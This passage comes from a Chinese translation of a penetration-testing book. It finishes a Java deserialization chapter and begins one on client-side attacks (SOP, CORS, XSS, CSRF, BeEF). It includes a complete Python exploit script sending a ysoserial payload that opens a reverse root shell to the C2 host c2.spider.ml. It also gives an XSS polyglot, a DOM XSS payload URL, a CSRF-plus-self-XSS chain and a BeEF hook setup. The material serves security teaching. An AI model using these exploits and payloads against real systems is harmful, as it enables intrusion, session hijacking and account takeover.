此时,我们的脚本将模拟 DeserLab 客户端,并且为了成功连接并能够发送我们的漏洞利用代码,我们需要首先执行几个步骤。回想一下,客户端发送了一些必要的字节,包括 hello 数据包和客户端版本。
我们将使用send()和recv()方法来发送和读取响应,以便通信能够继续进行。由于某些字节可能超出 ASCII 可读范围,我们应使用它们的十六进制表示来转义。Python 允许我们使用反斜杠(\)和x前缀来表示十六进制字节。例如,字符A可以在 Python(以及其他语言)中表示为\x41。
在我们执行发送操作后,我们还应该接收来自服务器的任何数据。我们不需要存储服务器的响应,但必须接收它以清除缓冲区并允许套接字通信继续进行。
首先,我们将发送0xAC 0xED魔术字节,接着是 hello 数据包,最后是期望的客户端版本。我们必须为 hello 和版本数据包加上0x77字节,并紧跟数据长度。例如,客户端版本0x01 0x01需要由0x77(表示数据包)和0x02(数据包长度)前缀。
以下代码将发送魔术字节、hello 数据包和客户端版本:
**# Send magic bytes and version**
target.send("**\xAC\xED\x00\x05**")
target.recv(1024)
**# Send 'hello' packet**
target.send("**\x77\x04**")
target.send("**\xF0\x00\xBA\xAA**")
target.recv(1024)
**# Send client version**
target.send("**\x77\x02**")
target.send("**\x01\x01**")
target.recv(1024)
我们还必须发送客户端名称,可以是任意的,但这是必需的。我们只需确保0x77前缀和数据长度是准确的:
**# Send client name: test**
target.send("**\x77\x06**")
target.send("**\x00\x04\x74\x65\x73\x74**")
最后,我们必须从有效负载中去除魔术字节,因为我们已经发送了这些字节。服务器期望接收到不包含这些数据的对象。Python 允许我们使用[4:]数组表示法去除前四个字节:
**# Remove the 0xAC 0xED magic bytes from the payload**
payload = payload**[4:]**
最后一步是发送 ysoserial 有效负载,当反序列化时,希望能够执行我们的反向 Shell:
**# Send the ysoserial payload to the target**
print "[+] Sending payload..."
target.send(**payload**)
target.recv(1024)
print "[+] Done."
最终的漏洞利用脚本exploit_deserlab.py应如下所示:
import socket
target_host = '**deserlab.app.internal**'
target_port = **4321**
**# Open the ysoserial generated exploit payload**
print "[+] Reading payload file..."
f = open('**deserlab_payload.bin**', 'rb')
**payload** = f.read()
f.close()
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target.connect((target_host, target_port))
**# Send magic bytes and version**
target.send("**\xAC\xED\x00\x05**")
target.recv(1024)
**# Send 'hello' packet**
target.send("**\x77\x04**")
target.send("**\xF0\x00\xBA\xAA**")
target.recv(1024)
**# Send client version**
target.send("\x77\x02")
target.send("\x01\x01")
target.recv(1024)
**# Send client name: test**
target.send("**\x77\x06**")
target.send("**\x00\x04\x74\x65\x73\x74**")
**# Remove the 0xAC 0xED magic bytes from the payload**
**payload** = **payload[4:]**
**# Send the ysoserial payload to the target**
print "[+] Sending payload..."
target.send(**payload**)
target.recv(1024)
print "[+] Done."
在启动漏洞利用之前,我们必须确保在我们的 C2 服务器c2.spider.ml上的端口443上运行着 netcat 监听器。如果漏洞利用成功,我们应该能够获取 DeserLab 服务器的 Shell 访问权限。
我们可以使用以下命令在端口443上启动一个 netcat 服务器:
**root@**
**spider-c2-1:~# nc -lvp 443**
**listening on [any] 443 ...**
剩下的就是在我们的攻击机上运行 Python 脚本,并期待最佳结果:
**root@kali:~/tools# python exploit_deserlab.py**
**[+] Reading payload file...**
**[+] Sending payload...**
**Done.**
**root@kali:~/tools#**
如果我们检查生成的流量,我们可以看到协议初始化和测试字符串数据包,紧接着是由 ysoserial 生成的序列化对象,这些对象由0x73 0x72或sr字节标识:

**0000000A 77 02 w.**
**0000000C 01 01 ..**
**0000000C 01 01 ..**
**0000000E 77 06 00 04 74 65 73 74 73 72 00 32 73 75 6e 2e w...test sr.2sun.**
**0000001E 72 65 66 6c 65 63 74 2e 61 6e 6e 6f 74 61 74 69 reflect. annotati**
**[...]**
**000007EE 00 00 00 00 00 00 00 00 00 00 78 70 ........ ..xp**
在进一步分析数据包捕获时,我们注意到服务器响应中有一些有趣的内容:

服务器返回一个 java.lang.ClassCastException,这意味着它尝试将我们的有效负载转换为 HashRequest 但失败了。这是件好事,因为在捕获异常时,POP 工具链已经成功执行,我们的 C2 服务器上已经有了一个等待的 shell:
root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.2.0.4] from deserlab.app.internal [11.21.126.51] 48946
**id**
**uid=0(root)**
**gid=0(root) groups=0(root)**
总结
在本章中,我们探讨了另一种用户输入被滥用的方式,它可以在易受攻击的应用程序上执行任意代码。序列化在现代应用程序中非常有用,特别是随着应用程序变得更加复杂和分布式。数据交换变得容易,但有时是以牺牲安全性为代价的。
在前面的示例中,由于对反序列化数据的处理过程做了假设,导致了应用程序的安全性受到威胁。对象流中没有可执行代码,至少在传统意义上是没有的,因为序列化的数据只是对象的一个状态快照。只要语言解释器安全地读取输入,它应该是安全的。也就是说,前提是没有缓冲区溢出或类似的漏洞。然而,正如我们所见,我们不需要利用 Java 虚拟机或 PHP 的解释器来妥协系统。我们能够利用反序列化功能,通过 POP 工具链的帮助,控制应用程序的执行流程。
在下一章中,我们将重点关注针对用户的实际攻击,利用应用程序漏洞。
第九章。实用客户端攻击
当我们谈论客户端攻击时,有一种倾向是质疑它们在危害环境方面的可行性。毕竟,在浏览器中执行 JavaScript 远不如在应用服务器本身上执行本机代码和弹出 shell 那么吸引人。能够在短暂的浏览会话中执行高度沙箱化的 JavaScript 有什么意义?攻击者可以利用这种类型的漏洞造成多大的破坏?事实证明,可以造成相当大的破坏。
在本章中,我们将探讨客户端攻击,重点关注 XSS。我们还将讨论跨站请求伪造(CSRF)攻击的影响,并讨论同源策略(SOP)的含义。接下来,我们将看看如何利用 BeEF 武器化 XSS 漏洞。
在本章结束时,您应该对以下内容感到满意:
-
存储、反射和基于 DOM 的 XSS
-
CSRF 和可能的攻击和限制
-
BeEF,浏览器中客户端利用的事实上的工具
我们将花费相当多的时间在 BeEF 上,因为它使 XSS 攻击变得可行。它允许我们轻松执行社会工程攻击来执行恶意本机代码,实现键盘记录器,持久化我们的访问,并甚至通过受害者的浏览器进行流量隧道传输。
SOP
考虑这样一个场景,一个目标用户在一个打开的浏览器标签页中登录了他们的 Gmail 账户(mail.google.com)。在另一个标签页中,他们导航到一个不同域的不同站点,其中包含想要访问那些 Gmail 数据的攻击者代码。也许他们被社会工程引导访问了这个特定站点,或者可能是通过一个著名新闻站点上的恶意广告(malvertising)活动被重定向到那里。
攻击者的代码可能会尝试连接到mail.google.com域,因为受害者已经在其他浏览器标签页中进行了身份验证,所以代码应该能够通过伪造请求来读取和发送邮件。JavaScript 提供了完成所有这些所需的所有工具,那为什么一切都不在火中呢?
正如我们很快将在详细中看到的,答案是因为 SOP。SOP 阻止了这种确切的攻击,除非攻击者能够直接将他们的代码注入到mail.google.com,否则他们将无法读取任何敏感信息。
SOP 是在网景时代引入的,因为没有它,滥用的潜力是非常真实的。简单来说,SOP 限制了站点从其他站点访问信息,除非请求源的来源与目标相同。
有一个简单的算法来确定 SOP 是否被突破。浏览器将比较源(来源)站点的模式、域和端口与目标站点的模式、域和端口,如果有任何一项不匹配,读取访问将被拒绝。
在我们之前的示例中,攻击的目标站点将是以下 URI:mail.google.com/mail/u/0/#inbox,这将转换为以下源三元组:
( **[schema]**, **[domain]**, **[port]** ) -> ( **https**, **mail.google.com**, **443** )
在www.cnn.com/上运行的攻击者代码将被拒绝读取访问,因为域名不匹配:
(**https**, **www.cnn.com**, **443** ) != ( **https**, **mail.google.com**, **443** )
即使在www.google.com/上运行恶意代码也无法访问 Gmail,因为域名不匹配,尽管它们在同一台物理服务器上:
从防御的角度来看这是有道理的。我们之前概述的情景如果没有 SOP 将是一场噩梦。然而,如果我们仔细观察互联网上的 Web 应用程序,我们会注意到几乎所有都包含诸如图像、样式表,甚至 JavaScript 代码等内容。
跨源或跨站点共享资源对应用程序有其好处。静态内容可以被卸载到 CDN 上,这些 CDN 通常托管在其他域上(例如 Facebook 的fbcdn.net),从而在为用户提供服务时提供更大的灵活性、速度和最终成本节约。
SOP 确实允许访问某些类型的跨源资源,以确保 Web 正常运行。毕竟,当焦点是用户体验时,使应用程序无法使用的安全策略并不是一个很好的安全策略,无论它实际上有多安全。
SOP 将允许以下类型的跨源对象嵌入到来自任何其他站点的源中:
-
图像
-
样式表
-
脚本(浏览器将乐意执行!)
-
内联框架(
iframe)
我们可以从我们的 CDN 中包含图像,浏览器将下载图像字节并将其呈现到屏幕上。然而,我们无法使用 JavaScript 以编程方式读取字节。对于 SOP 允许的其他静态内容也是如此。例如,我们可以用 JavaScript 包含样式表,但如果源不匹配,我们无法读取样式表的实际内容。
这对于iframe元素也是成立的。我们可以创建一个新的iframe对象并指向任意 URL,浏览器会愉快地加载该内容。然而,如果我们违反了 SOP,就无法读取其内容。
在以下示例中,我们在bittherapy.net web 应用程序内创建一个iframe元素,模拟如果允许执行 XSS 攻击或恶意跨源脚本,可能会发生的情况,这一切都在bittherapy.net上下文中执行:

图 9.1:使用浏览器控制台创建iframe元素
首先,我们使用document.createElement()函数创建一个新的iframe元素,并将其存储在frame变量中。接下来,我们使用frame上的src属性将iframe的 URL 设置为bittherapy.net。最后,我们使用document.body.append()函数将新创建的iframe对象添加到文档中。
我们可以看到,frame.src的源与父域完全匹配,当我们尝试使用frame.contentDocument读取iframe元素的头部内容时,我们成功了。SOP 并未被违反。
相反,在bittherapy.net应用程序中创建指向bing.com/的iframe将会成功,且对象会被创建,但我们无法访问其内容,正如我们在下面的图中所看到的:

图 9.2:创建跨源框架并尝试访问其内容失败
Bing 搜索应用加载正常,正如我们在右侧渲染的页面中看到的那样,但从编程角度来看,我们无法读取其内容,因为这违反了 SOP。
JavaScript 也可以跨源访问,这通常是件好事。将 JavaScript 库卸载到 CDN 可以减少加载时间和带宽使用。CDNJS是一个典型的例子,展示了站点如何通过引入来自第三方的 JavaScript 获益。
注意
CDNJS 是一个开源的 Web CDN,提供几乎所有常见的 JavaScript 库。有关这个伟大服务的更多信息,可以访问cdnjs.com/。
我们尝试通过 JavaScript 加载的任何其他跨源数据都会被拒绝。这包括字体、JSON、XML 或 HTML。
在谈到 SOP 时,Cookies 需要特别提到。Cookies 通常与域名或父域名绑定,并且可以限制为安全的 HTTP 连接。浏览器还可以被指示禁止 JavaScript 访问某些 Cookies,以防止像 XSS 这样的攻击从中提取会话信息。
当 cookie 最初设置时,应用程序服务器通过 Set-Cookie HTTP 响应头来调整 cookie 策略。 正如我之前所说,除非另有说明,否则 cookie 通常绑定到应用程序域名。 也可以使用通配符域,这将指示浏览器将 cookie 传递给所有子域的请求。
应用程序将利用 cookie 来管理身份验证和用户会话。 一旦用户成功登录,客户端将收到一个唯一值,并且浏览器将在随后的所有请求中将此值传回应用程序,前提是域名和路径与最初设置 cookie 时指定的相匹配。
这种行为的副作用是用户只需登录到应用程序一次,浏览器就会通过在后台的每个请求中传递 cookie 来保持经过身份验证的会话。 这极大地改善了用户体验,但也可能被攻击者滥用。
跨域资源共享
在微服务时代,Web 应用程序组件解耦并作为完全不同域上的独立实例运行时,SOP 提出了一些挑战。
尝试读取以 JSON 格式呈现的某些 API 数据通常会受到 SOP 的拒绝,除非源三元组匹配。 如果我们受限于相同的域、端口和方案,这将变得不便,应用程序将难以开发和扩展。
为了放宽 SOP,引入了 跨域资源共享 (CORS),再次使开发人员感到高兴。 CORS 允许特定站点指定允许访问通常由 SOP 拒绝的内容的来源。
应用服务器的 HTTP 响应可能包含一个 Access-Control-Allow-Origin 头部,客户端可以用它来确定是否完成连接并检索数据。
注意
CORS 在 Mozilla 开发者网络有详细文档:developer.mozilla.org/en-US/docs/Web/HTTP/CORS
我们可以使用 curl 查看 Spotify 的公共 API CORS 策略:
root@spider-c2-1:~# curl -I **https://api.spotify.com/v1/albums**
HTTP/2 401
www-authenticate: Bearer realm="spotify"
content-type: application/json
content-length: 74
**access-control-allow-origin: ***
access-control-allow-headers: Accept, Authorization, Origin, Content-Type, Retry-After
access-control-allow-methods: GET, POST, OPTIONS, PUT, DELETE, PATCH
access-control-allow-credentials: true
access-control-max-age: 604800
via: 1.1 google
alt-svc: clear
root@spider-c2-1:~#
这个特定的 API 是公共的,因此将告知客户端允许所有来源读取响应内容。 这是通过将 Access-Control-Allow-Origin 的值设置为通配符 * 来实现的。 私有 API 通常会使用更具体的值,例如预期的 URL。
Spotify 服务器会响应其他 Access-Control 头,指定接受哪些方法和头,并确定每个请求是否可以传递凭据。 CORS 策略可能会变得非常复杂,但我们大部分关注的是特定目标站点允许的来源。
XSS
在实地工作中,我经常遇到的另一种普遍攻击类型是 XSS。 XSS 有几种变体,但它们都提供给攻击者同样的东西:在客户端浏览器中执行任意的 JavaScript 代码。
虽然这听起来不像在实际的应用服务器上执行代码那么“厉害”,但 XSS 攻击在定向攻击中可能会造成毁灭性的后果。
反射型 XSS
更常见的 XSS 漏洞类型是反射型或非持久性类型。反射型 XSS 攻击发生在应用程序接受来自用户的输入(无论是通过 URL 参数、正文或 HTTP 头),并且没有先清理它,就将其返回给用户。这种类型的攻击被称为非持久性攻击,因为一旦用户离开易受攻击的页面,或者关闭浏览器,攻击就结束了。反射型 XSS 攻击通常需要一定的社会工程学技巧,因为有效负载的持续时间很短。
注意
为了展示 XSS 攻击,我们将再次使用 Mike Pirnat 的 badguys 项目。Web 应用程序代码可以从 github.com/mpirnat/lets-be-bad-guys 下载。
为了展示这种漏洞,我在 badguys.local 上加载了应用程序。/cross-site-scripting/form-field URL 在 qs 参数中易受 XSS 攻击:
http://badguys.local/cross-site-scripting/form-field?qs=test
应用程序会获取用户输入的值并在页面的某个地方预填充文本字段。这是登录表单的常见行为,用户可能输入错误的密码,页面会重新加载并显示错误消息。为了改善用户体验,应用程序会自动填充用户名字段,显示之前输入的值。如果用户名值没有经过清理,坏事就可能发生。
为了确认漏洞,我们可以输入前面章节中介绍的 Elsobky 多语言攻击有效负载,并观察应用程序的行为:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
一旦我们投下“炸弹”,虽然应用程序的服务器不受影响,但浏览器渲染的页面却是另一回事。我们可以通过检查应用程序源代码中受影响的输入字段来查看此次攻击的后果:

图 9.3:多语言攻击揭示了 XSS 漏洞
在多语言攻击插入了带有 onload 属性设置为执行 alert() 的 <svg> 标签后,警报框弹出。这是可能的,因为应用程序在未清理危险字符的情况下反射了有效负载。浏览器将第一个双引号解释为输入字段的一部分,从而导致了这个漏洞。
持久性 XSS
持久性 XSS,也叫做 存储型 XSS,与反射型攻击相似,都是因为输入没有经过清理,最终被反射回访问的用户。不过,持久性 XSS 的不同之处在于,它通常被存储在应用程序的数据库中,并呈现给访问受影响页面的任何用户。存储型 XSS 通常不需要我们通过精心制作的 URL 来诱使用户访问易受攻击的页面,如果目标用户不频繁使用该应用程序,这种攻击可能会更快。
存储型 XSS 的一个简单示例是博客文章的评论部分。如果用户输入(评论)在存储之前没有经过消毒,那么任何阅读评论的用户将执行在应用程序中存储的任何负载。
或许最著名的存储型 XSS 攻击例子是Samy worm(又称MySpace Worm或JS.Spacehero)。
由于缺乏适当的输入消毒,Samy 能够释放一段 JavaScript 代码,迫使已经登录到自己 MySpace 帐户的受害者执行几个操作:
-
更新他们的个人资料以包含短语"但最重要的是,Samy 是我的英雄"
-
向 Samy Kamkar 的个人资料发送好友请求
乍一看,这似乎相当无害,少数访问 Samy 个人资料的用户会感到轻微不适,最终会离开。然而,使 Samy Kamkar 出名的是,受害者的个人资料也被更新以包含受害者在浏览被感染个人资料时执行的同一 JavaScript 负载。这将 XSS 攻击转变为 XSS 蠕虫。
在短短 20 小时内,Samy 的个人资料收到了超过一百万的好友请求,显示了这种特定存储型 XSS 攻击的真实影响。
注意
关于该精心设计的攻击是如何执行的、包括最终的负载等完整解释,可以在 Samy Kamkar 的个人网站找到:samy.pl/myspace/tech.html。
虽然 Samy 的蠕虫对用户没有造成真正的伤害,但类似的持久 XSS 漏洞可以用来大规模攻击用户、收集会话 cookie,并针对社交工程目标。低权限用户可能会利用存储的 XSS 代码攻击管理用户并通过后续查看受感染页面时处理的 XSS 代码来提升权限。
发现存储型 XSS 漏洞可能会更具挑战性,因为我们并不总是知道负载何时何地会被反射。在此,我们在前几章讨论过的 OOB 漏洞发现技巧可以帮助。
基于 DOM 的 XSS
当应用程序的客户端代码从 DOM 中读取数据并以不安全的方式使用时,就会发生这种特定类型的 XSS 攻击。
DOM 本质上是浏览器内存中包含当前页面所有对象的数据结构。这包括 HTML 标签及其属性、文档标题、头部、主体,甚至 URL。JavaScript 可以与 DOM 互动并修改、添加或删除几乎任何部分,立即影响页面本身。
最好的方法来说明 DOM XSS 的影响是通过一个简单易受攻击的应用程序。
在以下截图中,我们有一些 JavaScript 代码,将欢迎用户来到页面:

图 9.4:一个易受 DOM XSS 攻击的示例页面
该应用程序将扫描文档 URL 以查找name参数的位置,使用document.URL.indexOf()函数。然后,它将使用document.URL.substring()函数从name=后面开始抓取文本,并将值存储在name变量中。
在第 11 行,应用程序将遍历 DOM 以查找span元素welcome。第 12 行是魔术发生的地方,也称为漏洞。应用程序将使用welcome对象的innerHTML属性,将span元素的内容填充为之前获取的name URL 参数的内容。
我们可以在以下图中看到应用程序的预期功能:

图 9.5:DOM 已更新以包含来自 URL 的名称
DOM 中的span元素已经使用通过 URL 传递的值进行了更新,一切看起来都很好。应用程序提供了动态页面内容,无需服务器端编程。
XSS 漏洞存在的原因是我们能够通过 URL 传入任意值,这将反映在 DOM 中。应用程序解析 URL 并填充welcome元素而不对输入进行消毒,允许我们插入除名称以外的内容,并潜在地执行更多的 JavaScript 代码。
这种攻击类似于您典型的反射型 XSS,但有一个重要的区别:JavaScript 代码不是由服务器代码反射的,而是由客户端代码填充的。Web 服务器仍然会在请求中看到有效负载,任何 Web 应用程序防火墙仍然可能通过断开连接来阻止我们的攻击,但任何应用程序输入消毒在这里都不会起作用。
这段代码的另一个问题是 URL 的GET参数没有被安全解析。它使用字符串函数遍历整个 URL 并获取任意数据。
如果我们构造一个恶意的 URL,实际上不需要使用问号(?)来分隔参数。我们可以使用井号(#)代替。这被称为位置哈希,是 DOM 的一部分,可以通过 JavaScript 访问。浏览器不会将哈希数据与 HTTP 请求一起发送。这使我们有优势,不需要将我们的有效负载提交给服务器,完全绕过 Web 应用程序防火墙或服务器端 XSS 过滤器,同时仍然能够执行 JavaScript 代码。
我们用于利用这种 DOM XSS 的有效负载 URL 如下所示:
http://c2.spider.ml/welcome.html#name=<svg/onload=alert(1)>
应用程序客户端代码运行良好,并将我们的 XSS 有效负载直接插入 DOM 中:

图 9.6:成功执行基于 DOM 的 XSS
如果我们检查应用程序服务器日志,我们会发现我们的有效负载从未通过网络发送:
root@spider-c2-1:~/web# php -S 0.0.0.0:80
PHP 7.0.30-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /var/www/html
Press Ctrl-C to quit.
[] 196.247.56.62:59885 [200]: /welcome.html?name=Dade%20Murphy
**[] 196.247.56.62:63010 [200]: /welcome.html**
尽管这次攻击导致了相同的 JavaScript 负载的执行,但是网络和服务器端的控制无法防御这些攻击,这使得 DOM XSS 独特。能够利用位置哈希来发送我们的负载使我们比较有优势,因为防御者不仅无法通过补偿性的服务器端控制来阻止攻击,甚至无法看到负载。
CSRF
我之前简要提到过浏览器会自动传递所有相关的 cookie 给应用程序。例如,如果用户已经在http://email.site应用程序进行了身份验证,将会创建一个会话 cookie,可以用来进行经过身份验证的请求。CSRF 攻击利用了这一用户体验功能来滥用过于信任的应用程序。
应用程序通常允许用户通过GET或POST请求传递自定义值来更新其个人资料。当然,应用程序会检查请求是否经过身份验证,甚至可能会对输入进行清理以防止 SQLi 或 XSS 攻击。
想象一种情景,我们已经成功诱使受害者访问了一个恶意网站,或者我们在一个已知良好的网站中嵌入了一些 JavaScript 代码。这段代码旨在执行 CSRF 攻击并针对http://email.site应用程序。
作为攻击者,我们进行了一些调查,发现电子邮件应用程序通过个人资料页面提供了更新密码恢复电子邮件的方法:http://email.site/profile/。
当我们在自己的测试账户上提交更改时,我们注意到以下 URL 被调用:
http://email.site/profile/update?recovery_email=test@email.local
如果我们能够修改另一个用户的密码恢复电子邮件,我们就可以重置他们的凭据,甚至可能以该用户身份登录。这就是 CSRF 攻击发挥作用的地方。虽然应用程序会验证电子邮件地址值并且请求必须经过身份验证,但没有其他安全检查。
CSRF 攻击在恶意网站中嵌入一个不可见的iframe、img或类似元素,通过攻击者提供的值向目标应用程序发起跨源请求。当受害者的浏览器尝试加载iframe或img元素时,它也会传递会话 cookie。从应用程序的角度来看,这是一个有效的请求,允许执行。攻击者可能无法读取响应,因为它是跨源的(记得 SOP 吗?),但损害已经造成。
在我们的恶意网站中,我们嵌入了一个指向包含我们电子邮件地址作为新值的个人资料更新 URL 的img标签。
典型的 CSRF 攻击流程如下:

图 9.7:CSRF 攻击流程
当用户访问我们的恶意网站时,图片将尝试通过发出经过身份验证的 GET 请求来加载目标应用程序,更新受害者的电子邮件应用程序中的恢复电子邮件。现在我们有能力请求受害者账户的密码重置,并直接登录到电子邮件网站。
为了防止 CSRF 攻击,开发人员应该实现CSRF 令牌。这些是为每个受保护页面的请求生成的唯一、一次性数字(nonce)。当发出更新应用程序任何部分的请求时,客户端必须在请求之前发送这个唯一的值,才能允许数据发生更改。从理论上讲,攻击者将 img 标签嵌入自己恶意网站中时,无法猜测这个特定的令牌,因此 CSRF 攻击会失败。
CSRF 令牌是防御 CSRF 攻击的有效手段,如果正确实施。首先,令牌的值应该是唯一的、非确定性的并且难以猜测。一个小的随机整数并不是一个好的令牌,因为它很容易被暴力破解。使用用户名或任何其他静态可猜测的值生成的 MD5 哈希值也不足够好。
CSRF 令牌应该与用户会话绑定,如果会话被销毁,令牌也应该随之消失。如果令牌是全局的,攻击者可以在自己的账户上生成它们,并用来攻击其他用户。
CSRF 令牌也应该是时间限制的。在合理的时间内,令牌应该过期,并且不应再出现。如果令牌通过 GET 请求传递,它们可能会被代理或浏览器缓存,攻击者可以简单地收集旧的令牌值并重复使用它们。
当我们在目标应用程序中遇到 CSRF 令牌时,我们应该检查实现中是否存在问题。你会惊讶于很多情况下,CSRF 令牌被发出但在返回服务器时被忽视。
CSRF 是一种有趣的漏洞,通常可以与其他问题(如 XSS)联动,执行有效的攻击,针对特定目标。
假设我们在电子邮件应用程序的个人资料页面中发现了一个存储型 XSS 漏洞。我们可以更新我们的名称,反映某些 XSS 有效载荷。由于我们无法影响其他用户的个人资料名称,因此这个 XSS 有效载荷只会在我们的账户中触发。这被称为自我 XSS。如果同一应用程序在登录和注销页面上也容易受到 CSRF 攻击,我们可以强制用户注销,并强制他们以其他身份登录。
首先,我们会将 XSS 有效载荷提交到我们自己的个人资料名称中,并保存以便以后使用。然后,我们可以构建一个恶意网站,按以下顺序执行以下操作:
-
使用 CSRF 强制受害者注销应用程序
-
使用 CSRF 利用我们的凭据将受害者重新登录
-
使用 CSRF 导航到包含自我 XSS 有效载荷的应用程序个人资料页面
-
在受害者的浏览器上执行 XSS 有效载荷
恶意代码看起来大致如下:

图 9.8:恶意自 XSS 和 CSRF 攻击代码
http://email.site/profile/包含我们之前存储的自 XSS 代码,一旦iframe加载,代码将在毫无戒备的目标上执行。
当我们在受害者的浏览器中运行 JavaScript 代码,并且该代码是在我们的账户会话下执行时,我们能做什么?窃取会话 Cookies 没有意义,但我们有其他的选项,正如我们接下来所见。
BeEF
XSS 漏洞在大多数情况下很难成功利用。当我谈论实际的客户端攻击时,我不是指为报告拍摄alert(1)弹出窗口的截图!
在渗透测试过程中,XSS 漏洞可能是攻击用户并获得网络立足点的有效途径。进行 XSS 攻击可能会很困难,因为在大多数情况下,你只有一次机会。我们需要在用户关闭浏览器会话之前执行代码并完成所有操作。提取会话令牌或其他敏感数据很容易,但如果我们想将攻击提升到下一个层级该怎么办?理想情况下,我们希望完全控制浏览器,让它为我们所用,或许还能自动化一些更高级的攻击。
BeEF 是 Wade Alcorn 创建的一个很棒的工具,旨在简化 XSS 漏洞的利用。
BeEF 有一个提供指挥与控制的服务器组件。客户端或僵尸通过托管在 C2 服务器上的 JavaScript 代码片段被钩住。僵尸会定期与 C2 服务器联系,并接收指令,这些指令可能包括:
-
执行任意 JavaScript 代码
-
社会工程学投递恶意软件
-
持久性
-
Metasploit 集成
-
信息收集
-
…以及更多
为了利用 BeEF 攻击客户端,我们必须通过 XSS 攻击或通过给应用程序客户端代码植入后门来钩住它。JavaScript 有效载荷将执行并从我们的 BeEF C2 加载钩子,从而让我们能够执行作为命令打包在 BeEF 中的更多代码。
注意
安装 BeEF 非常简单,并且它可以在 GitHub 上获取:github.com/beefproject/beef。BeEF 在 Kali Linux 上也默认安装了。尽管在某些情况下,将其部署在云中的 C2 服务器上运行会更好。
我们可以使用git clone命令从 GitHub 仓库克隆最新版本:
root@spider-c2:~# git clone https://github.com/beefproject/beef
源代码附带一个install脚本,该脚本将为我们设置环境。在beef文件夹中,执行install脚本:
root@spider-c2:~/beef# **./install**
[WARNING] This script will install BeEF and its required dependencies (including operating system packages).
Are you sure you wish to continue (Y/n)? **y**
[INFO] Detecting OS...
[INFO] Operating System: Linux
[INFO] Launching Linux install...
[INFO] Detecting Linux OS distribution...
[INFO] OS Distribution: Debian
[INFO] Installing Debian prerequisite packages…
[...]
BeEF 可以通过 YAML 配置文件config.yaml进行微调。虽然有很多选项可以调整,但对我们来说,最重要的选项如下:
beef:
[...]
credentials:
**user: "admin"**
**passwd: "peanut butter jelly time"**
[...]
restrictions:
# subnet of IP addresses that can hook to the framework
**permitted_hooking_subnet: "172.217.2.0/24"**
# subnet of IP addresses that can connect to the admin UI
**permitted_ui_subnet: "196.247.56.62/32"**
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
**host: "0.0.0.0"**
**port: "443"**
**public: "c2.spider.ml"**
[...]
https:
**enable: true**
**key: "/etc/letsencrypt/live/spider.ml/privkey.pem"**
**cert: "/etc/letsencrypt/live/spider.ml/cert.pem"**
配置文件的根节点是beef,缩进行限定子节点。例如,路径beef.credentials.user在解析配置文件后会返回admin值。
更改 beef.credentials.* 选项应该是显而易见的。还建议更新 beef.restrictions.* 选项,以确保我们只针对合适的客户端并将未授权用户排除在 C2 界面之外。
permitted_ui_subnet 选项将限制 BeEF 允许访问 /ui/(C2 管理界面)的网络范围。这个设置应该非常严格,因此通常将其设置为当前的外部地址,后跟 /32。
我们还可以限制实际允许与 BeEF 钩子互动的地址,防止任何不需要的客户端被利用。如果我们在内部运行 BeEF,可以将钩子子网限制为,例如,仅限市场部门。如果蓝队分析人员尝试运行钩子负载,他们将无法获取任何有用的信息。
对于云端的生产部署,我们需要将 beef.http.host 设置为目标的 IP 地址范围,并且我们还希望监听端口 443。推荐使用 beef.https.enable = true 来运行 BeEF,因为这会增加钩子成功的概率。
如果我们尝试将 BeEF 负载 <script async src=http://c2.spider.ml/hook.js> 注入一个通过 HTTPS 加载的页面,现代浏览器将根本不会加载该脚本。允许在 HTTP 网站加载 HTTPS 资源,因此,如果可能,C2 应始终启用 TLS 运行。
beef.https.key 和 beef.https.cert 配置选项应指向适当的证书,最好是由受信任的根证书颁发机构签署的证书,如 Let's Encrypt。我们在 第六章《带外利用》中介绍了如何使用 Let's Encrypt 请求免费的证书来用于我们的 C2 基础设施。
注意
Let's Encrypt 提供免费的域名验证证书,支持主机名和通配符证书。更多信息请访问 letsencrypt.org/。
beef.http.public 的值应与 HTTPS 证书的域名匹配,否则可能会出现客户端验证错误,钩子将无法成功。
配置完成后,我们可以启动服务器组件:

图 9.9:BeEF 在云端运行
在 c2.spider.ml 上运行 BeEF C2 服务器后,我们可以开始攻击客户端。第一步是让 BeEF 钩子代码在目标浏览器中执行。有几种方法可以实现这一点,最常见的是持久性、反射型或基于 DOM 的 XSS 攻击。
如果我们可以访问应用程序的 shell,还可以通过 BeEF 钩子对应用程序代码进行后门操作。我们可以持久化我们的钩子代码并记录用户活动,甚至利用社会工程学在高价值目标的计算机上执行恶意软件。
BeEF C2 面板可以通过 BeEF 启动器输出中显示的 URL 进行访问:
https://[beef.http.public]:[beef.http.port]/ui/panel
用户体验有点不太常规,但很快就能适应:

图 9.10:BeEF C2 服务器控制面板
在左侧,UI 显示了被钩取的浏览器或受害者的历史记录,按来源域分组,在线和离线的都有。在线受害者可以立即被利用,因为钩取代码会主动回调到 C2。离线浏览器最近没有与 C2 通信,但一旦受害者重新上线,仍然可以被利用。这通常发生在通过持久化 XSS 攻击、后门化的 Web 应用程序或浏览器扩展钩取的受害者身上。
在钩取的浏览器历史记录的右侧,你会看到登录页面(或入门指南)、C2 服务器日志(日志),以及选定受害者的浏览器控制标签(当前浏览器)。值得注意的是浏览器控制,包括详细信息、日志和模块(或命令)的子标签。
在命令标签页中,我们可以选择要运行的模块,在最右侧的列中输入任何必需的参数,然后点击执行按钮,我们还可以在中间列中查看模块的执行历史。
有很多可用的模块,有些效果比其他模块更好。你选择的模块(命令)的有效性实际上取决于浏览器版本、受害者的情况以及他们的技术熟练程度。在接下来的章节中,我们将着重分析一些成功率较高的攻击模块,以尝试攻破目标或窃取凭证。
钩取
在云端运行 BeEF C2 服务器后,我们暴露了两个重要的 URL:
-
管理界面 –
https://c2.spider.ml/ui/panel -
钩取脚本 –
https://c2.spider.ml/hook.js
这两个 URL 都受到配置文件中 beef.restrictions.* 选项的限制。请确保在钩取和管理 UI 限制时使用适当的网络范围。
hook.js 文件本质上是我们在受害者的浏览器中投放的恶意软件,以便完全控制他们的会话。它是一个相当大的代码块,最好作为外部脚本(如我们 C2 上托管的脚本)来传送,但这不是强制要求。我们也可以将整个钩取代码复制并粘贴到浏览器控制台中。如果愿意,它虽然很大,但便于携带。
